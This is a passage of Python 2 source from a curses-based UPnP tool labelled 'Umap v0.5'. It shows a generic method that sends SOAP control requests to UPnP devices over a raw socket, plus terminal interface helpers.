		self.mainScreen.refresh()

		


	def sendSoap(self, control, ip, port, device, action, inputArgs = ''):
		body = []
		bodyStr = '<ns1:'+action+' xmlns:ns1="'+device+'" SOAP-ENC:root="1">\n'
		if len(inputArgs) > 0:
			for k,v in inputArgs.iteritems():
				splitv = v.split('|')
				try:
					body.append("<"+k+" xsi:type=\"xsd:"+splitv[1]+"\">"+splitv[0]+"</"+k+">")
				except Exception, err:
					self.printMessage("Exception "+str(v))
			for b in body:
				bodyStr = bodyStr+str(b)+"\n"
		bodyStr = bodyStr+"</ns1:"+action+">"
		payload = """<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:xsd="http://www.w3.org/1999/XMLSchema"
>
<SOAP-ENV:Body>"""+bodyStr+"""
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
\r\n\r\n
"""

		head = """POST """+control+""" HTTP/1.0\r
Host: """+ip+"""\r
User-agent: Umap v0.5 UPnP/1.1 None\r
Content-type: text/xml; charset="UTF-8"\r
Content-length: """+str(len(payload))+"""\r
SOAPAction: """+'"'+device+'#'+action+'"'+"""\r
\r\n"""


		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		try:
			sock.connect((ip, int(port)))
		except Exception, err:
			self.printMessage("Error connecting for SOAP request")
			return False
		sock.send(head+payload)
		soapRcvStr = ''
		while 1:
			try:
				soapRcv = sock.recv(2048)
			except Exception, err:
				self.printMessage("Error receiving "+str(err))
				return False
			if not soapRcv: break
			soapRcvStr += soapRcv
		sock.close
		f = 0
		response = []
		for s in soapRcvStr.split('\n'):
			if '<?xml ' in s: f = 1
			if f == 1: 
				response.append(s)

				
		return response
		
	def printMessage(self, message):

		queueSize = len(self.messagesQueue)
		self.qSize = queueSize
		total = self.mainMax[0]-24
		min = total+1
		max = total-1
		count = 1
		if queueSize == total:
			popleft = self.messagesQueue.popleft()
			self.messagesQueue.append(message)
		else:
			self.messagesQueue.append(message)

	
	def printInfo(self, out):

		count = 1
		for k in out:
			if count < 20: self.detailWindow.addstr(count,1,str(k)+": "+str(out[k]))
                        count = count + 1
                self.detailWindow.refresh()

	def cursorUp(self):

		self.selectedIPXML = {}
		if self.cursorPos == 1 or self.selectedIP <= 0: 
			return self.cursorPos
		else:
			self.cursorPos = self.cursorPos - 1
			self.selectedIP = self.selectedIP - 1
			return self.cursorPos
		

	def cursorDown(self):

		self.selectedIPXML = {}
		if len(self.upnpList) == self.cursorPos or self.selectedIP == len(self.upnpList)-1:
			return self.cursorPos
		else:
			self.cursorPos = self.cursorPos + 1
			self.selectedIP = self.selectedIP + 1
			return self.cursorPos

	def allRefresh(self):

		self.mainScreen.refresh()
		self.positiveWindow.refresh()
		self.detailWindow.refresh()
		self.messagesWindow.refresh()

	def exitCurse(self):

		curses.nocbreak()
		curses.echo()
		curses.endwin()
